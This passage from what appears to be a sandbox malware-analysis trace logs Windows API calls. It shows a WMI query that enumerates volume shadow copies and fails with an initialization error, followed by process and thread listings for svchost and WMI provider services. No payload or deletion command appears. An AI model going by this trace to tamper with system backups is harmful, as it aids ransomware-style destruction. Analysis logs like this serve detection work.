dwCapabilities=0x0) returned 0x0 [0126.924] free (_Block=0x2822180) [0126.924] ??1CHString@@QAE@XZ () returned 0x750a0504 [0126.925] ??0CHString@@QAE@XZ () returned 0x25f764 [0126.925] GetCurrentThreadId () returned 0x934 [0126.925] malloc (_Size=0xc) returned 0x2822180 [0126.925] lstrlenA (lpString="") returned 0 [0126.925] malloc (_Size=0x2) returned 0x832820 [0126.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d26a2, cbMultiByte=-1, lpWideCharStr=0x832820, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.925] free (_Block=0x832820) [0126.925] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0126.925] SysStringLen (param_1="") returned 0x0 [0126.925] free (_Block=0x2822180) [0126.925] malloc (_Size=0xc) returned 0x2822180 [0126.926] IWbemServices:ExecQuery (in: This=0x3cd0bc, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x25f760 | out: ppEnum=0x25f760*=0x0) returned 0x80041014 [0135.399] free (_Block=0x2822180) [0135.399] _CxxThrowException () [0136.061] malloc (_Size=0x10) returned 0x2822180 [0136.061] ??1CHString@@QAE@XZ () returned 0x750a0504 [0136.061] free (_Block=0x28220c0) [0136.062] free (_Block=0x28220a8) [0136.062] GetCurrentThreadId () returned 0x934 [0136.062] ??0CHString@@QAE@PBG@Z () returned 0x25f824 [0136.062] ??YCHString@@QAEABV0@PBG@Z () returned 0x25f824 [0136.062] ??0CHString@@QAE@XZ () returned 0x25f6e8 [0136.062] malloc (_Size=0xc) returned 0x28220a8 [0136.062] malloc (_Size=0xc) returned 0x28220c0 [0136.063] SysStringLen (param_1="") returned 0x0 [0136.063] free (_Block=0x28220a8) [0136.063] CoCreateInstance (in: rclsid=0x2d6cb0*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x2d6c00*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x31c21c | out: ppv=0x31c21c*=0x3c0810) returned 0x0 [0136.129] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x3c0810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x25f700 | out: MessageText=0x25f700*="Initialization failure\r\n") returned 0x0 [0136.150] free (_Block=0x28220c0) [0136.150] malloc (_Size=0xc) returned 0x28220c0 [0136.150] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x3c0810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x25f724 | out: MessageText=0x25f724*="WMI") returned 0x0 [0136.165] malloc (_Size=0xc) returned 0x28220a8 [0136.165] lstrlenW (lpString="WMI") returned 3 [0136.165] lstrlenW (lpString="Wbem") returned 4 [0136.165] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0136.166] lstrlenW (lpString="WMI") returned 3 [0136.166] lstrlenW (lpString="WMI") returned 3 [0136.166] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0136.166] WbemStatusCodeText:IUnknown:Release (This=0x3c0810) returned 0x0 [0136.166] ??1CHString@@QAE@XZ () returned 0x750a0504 [0136.166] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x25ef50, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0136.166] FormatMessageW (in: dwFlags=0x2500, lpSource=0x25ef50, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x25ef4c, nSize=0x0, Arguments=0x25ef38 | out: lpBuffer="䛀_ERROR:\r\nDescription = %1") returned 0x2e [0136.167] malloc (_Size=0xc) returned 0x2822168 [0136.167] LocalFree (hMem=0x5f46c0) returned 0x0 [0136.167] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0136.167] malloc (_Size=0x2f) returned 0x83ff78 [0136.167] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x83ff78, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0136.167] fprintf (in: _File=0x77032940, _Format="%s" | out: _File=0x77032940) returned 46 [0136.171] fflush (in: _File=0x77032940 | out: _File=0x77032940) returned 0 [0136.171] free (_Block=0x83ff78) [0136.172] free (_Block=0x2822168) [0136.172] free (_Block=0x28220a8) [0136.172] free (_Block=0x28220c0) [0136.172] ??1CHString@@QAE@XZ () returned 0x1 [0136.172] ??0CHString@@QAE@PBG@Z () returned 0x25f844 [0136.172] ??YCHString@@QAEABV0@PBG@Z () returned 0x25f844 [0136.172] GetCurrentThreadId () returned 0x934 [0136.172] ??1CHString@@QAE@XZ () returned 0x1 [0136.172] WbemLocator:IUnknown:Release (This=0x3cd0bc) returned 0x0 [0136.185] ?Empty@CHString@@QAEXXZ () returned 0x750a0504 [0136.185] free (_Block=0x2822180) [0136.187] _kbhit () returned 0x0 [0136.198] free (_Block=0x832f08) [0136.198] free (_Block=0x2822060) [0136.198] free (_Block=0x83fe88) [0136.198] free (_Block=0x83fe70) [0136.199] free (_Block=0x83fe58) [0136.199] free (_Block=0x833188) [0136.199] free (_Block=0x83eb88) [0136.199] free (_Block=0x83ff40) [0136.199] free (_Block=0x28220d8) [0136.199] free (_Block=0x83fec0) [0136.199] free (_Block=0x28220f0) [0136.199] free (_Block=0x83ebc8) [0136.199] free (_Block=0x83ff30) [0136.199] free (_Block=0x832e90) [0136.199] free (_Block=0x83ff08) [0136.199] ?Empty@CHString@@QAEXXZ () returned 0x750a0504 [0136.200] free (_Block=0x8331c0) [0136.200] free (_Block=0x83eba8) [0136.200] free (_Block=0x2822090) [0136.200] free (_Block=0x832720) [0136.200] free (_Block=0x832768) [0136.200] free (_Block=0x8327b0) [0136.200] free (_Block=0x83ebe8) [0136.200] free (_Block=0x832888) [0136.200] free (_Block=0x832e78) [0136.200] free (_Block=0x83e8c8) [0136.200] free (_Block=0x832e60) [0136.201] free (_Block=0x83e8a8) [0136.201] free (_Block=0x832e48) [0136.201] free (_Block=0x83e888) [0136.201] free (_Block=0x8329c0) [0136.201] free (_Block=0x8329d8) [0136.201] free (_Block=0x832988) [0136.201] free (_Block=0x8329a0) [0136.201] free (_Block=0x8329f8) [0136.201] free (_Block=0x832a10) [0136.201] free (_Block=0x832a30) [0136.202] free (_Block=0x83e868) [0136.202] free (_Block=0x832918) [0136.202] free (_Block=0x832930) [0136.202] free (_Block=0x8328e0) [0136.202] free (_Block=0x8328f8) [0136.202] free (_Block=0x832950) [0136.202] free (_Block=0x832968) [0136.202] free (_Block=0x8328a8) [0136.202] free (_Block=0x8328c0) [0136.202] free (_Block=0x832840) [0136.202] free (_Block=0x8327f8) [0136.202] free (_Block=0x28205b0) [0136.203] WbemLocator:IUnknown:Release (This=0x3c0828) returned 0x2 [0136.203] WbemLocator:IUnknown:Release (This=0x3cd064) returned 0x0 [0136.205] WbemLocator:IUnknown:Release (This=0x3cd00c) returned 0x0 [0136.207] WbemLocator:IUnknown:Release (This=0x3c0828) returned 0x1 [0136.207] ?Empty@CHString@@QAEXXZ () returned 0x750a0504 [0136.207] WbemLocator:IUnknown:Release (This=0x3c0828) returned 0x0 [0136.207] free (_Block=0x83fdf8) [0136.207] free (_Block=0x83fe10) [0136.207] free (_Block=0x83eb48) [0136.207] free (_Block=0x83fe28) [0136.208] free (_Block=0x83fe40) [0136.208] free (_Block=0x83eb68) [0136.208] free (_Block=0x83fcd8) [0136.208] free (_Block=0x83fcf0) [0136.208] free (_Block=0x83ea88) [0136.208] free (_Block=0x83fd08) [0136.209] free (_Block=0x83fd20) [0136.209] free (_Block=0x83eaa8) [0136.209] free (_Block=0x83fc78) [0136.209] free (_Block=0x83fc90) [0136.209] free (_Block=0x83ea48) [0136.209] free (_Block=0x83fca8) [0136.209] free (_Block=0x83fcc0) [0136.209] free (_Block=0x83ea68) [0136.209] free (_Block=0x83fd98) [0136.210] free (_Block=0x83fdb0) [0136.210] free (_Block=0x83eb08) [0136.210] free (_Block=0x83fdc8) [0136.210] free (_Block=0x83fde0) [0136.210] free (_Block=0x83eb28) [0136.210] free (_Block=0x83fc18) [0136.210] free (_Block=0x83fc30) [0136.210] free (_Block=0x83ea08) [0136.210] free (_Block=0x83fc48) [0136.211] free (_Block=0x83fc60) [0136.211] free (_Block=0x83ea28) [0136.211] free (_Block=0x83fd38) [0136.211] free (_Block=0x83fd50) [0136.211] free (_Block=0x83eac8) [0136.211] free (_Block=0x83fd68) [0136.211] free (_Block=0x83fd80) [0136.211] free (_Block=0x83eae8) [0136.211] free (_Block=0x83fb88) [0136.212] free (_Block=0x83fba0) [0136.212] free (_Block=0x83e9a8) [0136.212] free (_Block=0x833110) [0136.212] free (_Block=0x833128) [0136.212] free (_Block=0x83e908) [0136.212] free (_Block=0x832ed8) [0136.212] free (_Block=0x832ef0) [0136.212] free (_Block=0x83e8e8) [0136.212] free (_Block=0x83faf8) [0136.212] free (_Block=0x83fb10) [0136.213] free (_Block=0x83e948) [0136.213] free (_Block=0x83fbb8) [0136.213] free (_Block=0x83fbd0) [0136.213] free (_Block=0x83e9c8) [0136.213] free (_Block=0x83fac8) [0136.213] free (_Block=0x83fae0) [0136.213] free (_Block=0x83e928) [0136.213] free (_Block=0x83fb28) [0136.213] free (_Block=0x83fb40) [0136.213] free (_Block=0x83e968) [0136.214] free (_Block=0x83fb58) [0136.214] free (_Block=0x83fb70) [0136.214] free (_Block=0x83e988) [0136.214] free (_Block=0x83fbe8) [0136.214] free (_Block=0x83fc00) [0136.214] free (_Block=0x83e9e8) [0136.214] CoUninitialize () [0136.277] exit (_Code=-2147217388) [0136.277] free (_Block=0x833140) [0136.278] free (_Block=0x833ea8) [0136.278] ??1CHString@@QAE@XZ () returned 0x750a0504 [0136.278] free (_Block=0x832fb0) [0136.278] free (_Block=0x833fd8) [0136.278] free (_Block=0x833e88) [0136.278] free (_Block=0x833e68) [0136.278] free (_Block=0x833e38) [0136.278] free (_Block=0x833e18) [0136.278] free (_Block=0x833de8) [0136.278] free (_Block=0x833da8) [0136.278] free (_Block=0x833d88) [0136.278] ??1CHString@@QAE@XZ () returned 0x750a0504 [0136.278] free (_Block=0x83feb0) Thread: id = 27 os_tid = 0x984 Thread: id = 30 os_tid = 0x648 Thread: id = 31 os_tid = 0xad4 Thread: id = 32 os_tid = 0xa80 Thread: id = 33 os_tid = 0xa78 Process: id = "9" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x971d000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "8" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 34 os_tid = 0x9f8 Thread: id = 35 os_tid = 0x9ec Thread: id = 36 os_tid = 0x5f4 Thread: id = 37 os_tid = 0x1c4 Thread: id = 38 os_tid = 0x5a8 Thread: id = 39 os_tid = 0x570 Thread: id = 40 os_tid = 0x42c Thread: id = 41 os_tid = 0x1e4 Thread: id = 42 os_tid = 0x760 Thread: id = 43 os_tid = 0x75c Thread: id = 44 os_tid = 0x74c Thread: id = 45 os_tid = 0x6d0 Thread: id = 46 os_tid = 0x6bc Thread: id = 47 os_tid = 0x6b0 Thread: id = 48 os_tid = 0x69c Thread: id = 49 os_tid = 0x698 Thread: id = 50 os_tid = 0x684 Thread: id = 51 os_tid = 0x678 Thread: id = 52 os_tid = 0x4a8 Thread: id = 53 os_tid = 0x46c Thread: id = 54 os_tid = 0x44c Thread: id = 55 os_tid = 0x424 Thread: id = 56 os_tid = 0x420 Thread: id = 57 os_tid = 0x41c Thread: id = 58 os_tid = 0x404 Thread: id = 59 os_tid = 0x14c Thread: id = 60 os_tid = 0x3fc Thread: id = 61 os_tid = 0x3f4 Thread: id = 62 os_tid = 0x3e8 Thread: id = 63 os_tid = 0x39c Thread: id = 64 os_tid = 0x390 Thread: id = 65 os_tid = 0x38c Thread: id = 66 os_tid = 0x388 Thread: id = 67 os_tid = 0x37c Thread: id = 68 os_tid = 0x374 Thread: id = 86 os_tid = 0xb1c Thread: id = 87 os_tid = 0xb18 Thread: id = 88 os_tid = 0xae0 Thread: id = 89 os_tid = 0xaf0 Thread: id = 90 os_tid = 0x344 Thread: id = 91 os_tid = 0xaec Thread: id = 103 os_tid = 0xb40 Thread: id = 104 os_tid = 0xb24 Thread: id = 105 os_tid = 0xb4c Thread: id = 106 os_tid = 0x71c Thread: id = 107 os_tid = 0x408 Thread: id = 108 os_tid = 0x7c4 Thread: id = 109 os_tid = 0x70c Thread: id = 110 os_tid = 0xb88 Thread: id = 112 os_tid = 0x5c4 Thread: id = 113 os_tid = 0xa04 Thread: id = 115 os_tid = 0xa94 Thread: id = 116 os_tid = 0x618 Thread: id = 117 os_tid = 0x804 Thread: id = 118 os_tid = 0x7b8 Thread: id = 119 os_tid = 0x568 Thread: id = 120 os_tid = 0x738 Thread: id = 121 os_tid = 0x700 Thread: id = 130 os_tid = 0x30c Thread: id = 159 os_tid = 0x6a0 Thread: id = 160 os_tid = 0xa18 Thread: id = 164 os_tid = 0xb14 Thread: id = 165 os_tid = 0x5b4 Thread: id = 166 os_tid = 0xb30 Thread: id = 167 os_tid = 0x220 Thread: id = 171 os_tid = 0x7ac Thread: id = 172 os_tid = 0x4dc Process: id = "10" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x6036c000" os_pid = "0xa40" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0004381a" [0xc000000f] Thread: id = 69 os_tid = 0x5e4 Thread: id = 70 os_tid = 0xa70 Thread: id = 71 os_tid = 0xa68 Thread: id = 72 os_tid = 0xa64 Thread: id = 73 os_tid = 0xa60 Thread: id = 74 os_tid = 0xa5c Thread: id = 75 os_tid = 0xa58 Thread: id = 76 os_tid = 0xa50 Thread: id = 77 os_tid = 0xa44 Thread: id = 101 os_tid = 0x414 Process: id = "11" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x62567000" os_pid = "0xa08" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 78 os_tid = 0xac8 Thread: id = 79 os_tid = 0xa28 Thread: id = 80 os_tid = 0xa24 Thread: id = 81 os_tid = 0xa20 Thread: id = 82 os_tid = 0xa1c Thread: id = 83 os_tid = 0xa18 Thread: id = 84 os_tid = 0xa10 Thread: id = 85 os_tid = 0xa0c Thread: id = 100 os_tid = 0x410 Thread: id = 161 os_tid = 0x728 Process: id = "12" image_name = "wmiprvse.exe" filename = "c:\\windows\\syswow64\\wbem\\wmiprvse.exe" page_root = "0x50c90000" os_pid = "0xaf8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0005f7d0" [0xc000000f] Thread: id = 92 os_tid = 0xadc Thread: id = 93 os_tid = 0x6c8 Thread: id = 94 os_tid = 0x324 Thread: id = 95 os_tid = 0xab4 Thread: id = 96 os_tid = 0xacc Thread: id = 97 os_tid = 0x3a4 Thread: id = 98 os_tid = 0xad0 Thread: id = 114 os_tid = 0xa2c Thread: id = 168 os_tid = 0xb00 Process: id = "13" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x61e9f000" os_pid = "0x6d8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00064e8d" [0xc000000f] Thread: id = 122 os_tid = 0x8e4 Thread: id = 123 os_tid = 0x3f8 Thread: id = 124 os_tid = 0x320 Thread: id = 125 os_tid = 0x54c Thread: id = 126 os_tid = 0x488 Thread: id = 127 os_tid = 0x5b8 Thread: id = 128 os_tid = 0x710 Thread: id = 129 os_tid = 0x6cc Process: id = "14" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x32a8c000" os_pid = "0x330" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x370" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 131 os_tid = 0x758 Thread: id = 132 os_tid = 0x9b4 Thread: id = 155 os_tid = 0x6b8 Thread: id = 156 os_tid = 0x6a8 Thread: id = 157 os_tid = 0xa68 Thread: id = 158 os_tid = 0x124 Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x24f0e000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b7a5" [0xc000000f], "LOCAL" [0x7] Thread: id = 133 os_tid = 0x748 Thread: id = 134 os_tid = 0x57c Thread: id = 135 os_tid = 0xb44 Thread: id = 136 os_tid = 0x644 Thread: id = 137 os_tid = 0x674 Thread: id = 138 os_tid = 0xa48 Thread: id = 139 os_tid = 0x598 Thread: id = 140 os_tid = 0x358 Thread: id = 141 os_tid = 0x5f8 Thread: id = 142 os_tid = 0x5f0 Thread: id = 143 os_tid = 0x5ec Thread: id = 144 os_tid = 0x5d0 Thread: id = 145 os_tid = 0x5cc Thread: id = 146 os_tid = 0x12c Thread: id = 147 os_tid = 0x170 Thread: id = 148 os_tid = 0x3c0 Thread: id = 149 os_tid = 0x3b8 Thread: id = 150 os_tid = 0x3a8 Thread: id = 151 os_tid = 0x2fc Thread: id = 152 os_tid = 0x2f8 Thread: id = 153 os_tid = 0x2d4 Thread: id = 154 os_tid = 0x2cc Thread: id = 173 os_tid = 0x788 Thread: id = 174 os_tid = 0x344